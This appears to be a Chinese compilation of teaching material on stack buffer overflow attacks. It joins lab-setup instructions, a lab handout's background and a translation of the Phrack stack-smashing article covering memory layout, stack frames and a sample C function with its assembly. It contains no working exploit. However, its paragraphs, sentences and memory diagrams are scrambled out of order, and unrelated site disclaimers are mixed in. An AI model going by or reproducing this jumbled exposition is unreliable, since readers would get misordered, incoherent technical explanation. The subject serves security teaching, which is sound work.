这也是稍后做题的突破原理,缓冲区漏洞普遍并且易于实现,缓冲区溢出成为远程攻击的主要⼿段其原因在于缓冲区溢出漏洞给予了攻击者他所想要的⼀切:植⼊并且执⾏攻击代码。
被植⼊的攻击代码以⼀定的权限运⾏有缓冲区溢出漏洞的程序,从⽽得到被攻击主机的控制权。
⼤多数的缓冲溢出攻击都是通过改变程序运⾏的流程到⼊侵者植⼊的恶意代码,其主要⽬的是为了获取超级⽤户的shell。
原理:将恶意指令存放在buffer中,这段指令可以得到进程的控制权,从⽽达到攻击的⽬的。
⼆、实验楼实现缓冲区溢出1、实验准备本实验需要32位环境下操作,输⼊命令下载必要的软件包。
sudo apt-get updatesudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-devsudo apt-get install -y python3.6-gdbm gdb2、初始设置Ubuntu 和其他⼀些 Linux 系统中,使⽤地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得⼗分困难,⽽猜测内存地址是缓冲区溢出攻击的关键。
缓冲区溢出攻击与防范实验
实验十二缓冲区溢出攻击与防范实验1.实验目的通过实验掌握缓冲区溢出的原理;通过使用缓冲区溢出攻击软件模拟入侵远程主机;理解缓冲区溢出危险性;理解防范和避免缓冲区溢出攻击的措施。
2.预备知识2.1缓冲区溢出攻击简介缓冲区溢出攻击之所以成为一种常见的攻击手段,其原因在于缓冲区溢出漏洞太普通了,并且易于实现。
而且,缓冲区溢出所以成为远程攻击的主要手段,其原因在于缓冲区溢出漏洞给予了攻击者所想要的一切:植入并且执行攻击代码。
被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。
下面简单介绍缓冲区溢出的基本原理和预防办法。
(1)缓冲区概念缓冲区是内存中存放数据的地方。
在程序试图将数据放到机器内存中的某一个位置的时候,因为没有足够的空间就会发生缓冲区溢出。
而人为的溢出则是有一定企图的,攻击者写一个超过缓冲区长度的字符串,植入到缓冲区,然后再向一个有限空间的缓冲区中植入超长的字符串,这时可能会出现两个结果:一是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的可导致系统崩溃;另一个结果就是利用这种漏洞可以执行任意指令,甚至可以取得系统root特级权限。
缓冲区是程序运行的时候机器内存中的一个连续块,它保存了给定类型的数据,随着动态分配变量会出现问题。
大多时为了不占用太多的内存,一个有动态分配变量的程序在程序运行时才决定给它们分配多少内存。
如果程序在动态分配缓冲区放入超长的数据,它就会溢出了。
一个缓冲区溢出程序使用这个溢出的数据将汇编语言代码放到机器的内存里,通常是产生root权限的地方。
仅仅单个的缓冲区溢出并不是问题的根本所在。
但如果溢出送到能够以root权限运行命令的区域,一旦运行这些命令,那可就等于把机器拱手相让了。
造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。
缓冲区是一块用于存放数据的临时内存空间,它的长度事先已经被程序或操作系统定义好。
缓冲区类似于一个杯子,写入的数据类似于倒入的水。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
PUSH和POP, 向堆栈中添加元素和从中移去元素.
堆栈由逻辑堆栈帧组成. 当调用函数时逻辑堆栈帧被压入栈中, 当函数返回时逻辑
堆栈帧被从栈中弹出. 堆栈帧包括函数的参数, 函数地局部变量, 以及恢复前一个堆栈
或者指向堆栈之后的下一个空闲可用地址. 在我们的讨论当中, SP指向堆栈的最后地址.
除了堆栈指针(SP指向堆栈顶部的的低地址)之外, 为了使用方便还有指向帧内固定
地址的指针叫做帧指针(FP). 有些文章把它叫做局部基指针(LB-local base pointer).
从理论上来说, 局部变量可以用SP加偏移量来引用. 然而, 当有字被压栈和出栈后, 这
些偏移量就变了. 尽管在某些情况下编译器能够跟踪栈中的字操作, 由此可以修正偏移
量, 但是在某些情况下不能. 而且在所有情况下, 要引入可观的管理开销. 而且在有些
机器上, 比如Intel处理器, 由SP加偏移量访问一个变量需要多条指令才能实现.
因此, 许多编译器使用第二个寄存器, FP, 对于局部变量和函数参数都可以引用,
堆栈也用于给函数中使用的局部变量动态分配空间, 同样给函数传递参数和函数返
回值也要用到堆栈.
堆栈区域
~~~~~~~~~~
堆栈是一块保存数据的连续内存. 一个名为堆栈指针(SP)的寄存器指向堆栈的顶部.
为了理解程序在调用function()时都做了哪些事情, 我们使用gcc的-S选项编译, 以产
生汇编代码输出:
$ gcc -S -o example1.s example1.c
通过查看汇编语言输出, 我们看到对function()的调用被翻译成:
解释什么是缓冲区溢出, 以及如何利用.
汇编的基础知识是必需的. 对虚拟内存的概念, 以及使用gdb的经验是十分有益
的, 但不是必需的. 我们还假定使用Intel x86 CPU, 操作系统是Linux.
在开始之前我们给出几个基本的定义: 缓冲区,简单说------------/ 内存高地址
Fig. 1 进程内存区域
<------ [ ][ ][ ][ ][ ][ ][ ]
堆栈顶部 堆栈底部
经典转载 - 缓冲区溢出的原理和实践(Phrack)
简 介
在过去的几个月中,被发现和利用的缓冲区溢出漏洞呈现上升趋势.例如syslog,
splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt library, at等等.本文试图
据区域对应可执行文件中的data-bss段. 它的大小可以用系统调用brk(2)来改变.
如果bss数据的扩展或用户堆栈把可用内存消耗光了, 进程就会被阻塞住, 等待有了
一块更大的内存空间之后再运行. 新内存加入到数据和堆栈段的中间.
/------------------" 内存低地址
因为它们到FP的距离不会受到PUSH和POP操作的影响. 在Intel CPU中, BP(EBP)用于这
个目的. 在Motorola CPU中, 除了A7(堆栈指针SP)之外的任何地址寄存器都可以做FP.
考虑到我们堆栈的增长方向, 从FP的位置开始计算, 函数参数的偏移量是正值, 而局部
变量的偏移量是负值.
|------------------|
| (已初始化) |
| 数据 |
| (未初始化) |
当一个例程被调用时所必须做的第一件事是保存前一个FP(这样当例程退出时就可以
恢复). 然后它把SP复制到FP, 创建新的FP, 把SP向前移动为局部变量保留空间. 这称为
例程的序幕(prolog)工作. 当例程退出时, 堆栈必须被清除干净, 这称为例程的收尾
(epilog)工作. Intel的ENTER和LEAVE指令, Motorola的LINK和UNLINK指令, 都可以用于
| |
| 文本 |
| |
有效地序幕和收尾工作.
下面我们用一个简单的例子来展示堆栈的模样:
example1.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
什么是堆栈?
~~~~~~~~~~~~~
堆栈是一个在计算机科学中经常使用的抽象数据类型. 堆栈中的物体具有一个特性:
最后一个放入堆栈中的物体总是被最先拿出来, 这个特性通常称为后进先处(LIFO)队列.
堆栈中定义了一些操作. 两个最重要的是PUSH和POP. PUSH操作在堆栈的顶部加入一
个元素. POP操作相反, 在堆栈顶部移去一个元素, 并将堆栈的大小减一.
为什么使用堆栈?
~~~~~~~~~~~~~~~~
内存低地址 内存高地址
buffer2 buffer1 sfp ret a b c
缓冲区溢出
~~~~~~~~~~~~
现代计算机被设计成能够理解人们头脑中的高级语言. 在使用高级语言构造程序时
最重要的技术是过程(procedure)和函数(function). 从这一点来看, 一个过程调用可
以象跳转(jump)命令那样改变程序的控制流程, 但是与跳转不同的是, 当工作完成时,
函数把控制权返回给调用之后的语句或指令. 这种高级抽象实现起来要靠堆栈的帮助.
缓冲区的溢出问题, 即基于堆栈的缓冲区溢出.
进程的内存组织形式
为了理解什么是堆栈缓冲区, 我们必须首先理解一个进程是以什么组织形式在
内存中存在的. 进程被分成三个区域: 文本, 数据和堆栈. 我们把精力集中在堆栈
char buffer1[5];
char buffer2[10];
}
void main() {
function(1,2,3);
}
------------------------------------------------------------------------------
存区域, 可以保存相同数据类型的多个实例. C程序员通常和字缓冲区数组打交道.
最常见的是字符数组. 数组, 与C语言中所有的变量一样, 可以被声明为静态或动态
的. 静态变量在程序加载时定位于数据段. 动态变量在程序运行时定位于堆栈之中.
溢出, 说白了就是灌满, 使内容物超过顶端, 边缘, 或边界. 我们这里只关心动态
我们必须牢记:内存只能以字为单位寻址. 在这里一个字是4个字节, 32位. 因此5字节
的缓冲区会占用8个字节(2个字)的内存空间, 而10个字节的缓冲区会占用12个字节(3个字)
的内存空间. 这就是为什么SP要减掉20的原因. 这样我们就可以想象function()被调用时
堆栈的模样(每个空格代表一个字节):
pushl $3
pushl $2
pushl $1
call function
以从后往前的顺序将function的三个参数压入栈中, 然后调用function(). 指令call
会把指令指针(IP)也压入栈中. 我们把这被保存的IP称为返回地址(RET). 在函数中所做
区域, 但首先按照顺序简单介绍一下其他区域.
文本区域是由程序确定的, 包括代码(指令)和只读数据. 该区域相当于可执行
文件的文本段. 这个区域通常被标记为只读, 任何对其写入的操作都会导致段错误
(segmentation violation).
数据区域包含了已初始化和未初始化的数据. 静态变量储存在这个区域中. 数
|------------------|
| |
| 堆栈 |
的第一件事情是例程的序幕工作:
pushl %ebp
movl %esp,%ebp
subl $20,%esp
将帧指针EBP压入栈中. 然后把当前的SP复制到EBP, 使其成为新的帧指针. 我们把这
个被保存的FP叫做SFP. 接下来将SP的值减小, 为局部变量保留空间.
帧所需要的数据, 其中包括在函数调用时指令指针(IP)的值.
堆栈既可以向下增长(向内存低地址)也可以向上增长, 这依赖于具体的实现. 在我
们的例子中, 堆栈是向下增长的. 这是很多计算机的实现方式, 包括Intel, Motorola,
SPARC和MIPS处理器. 堆栈指针(SP)也是依赖于具体实现的. 它可以指向堆栈的最后地址,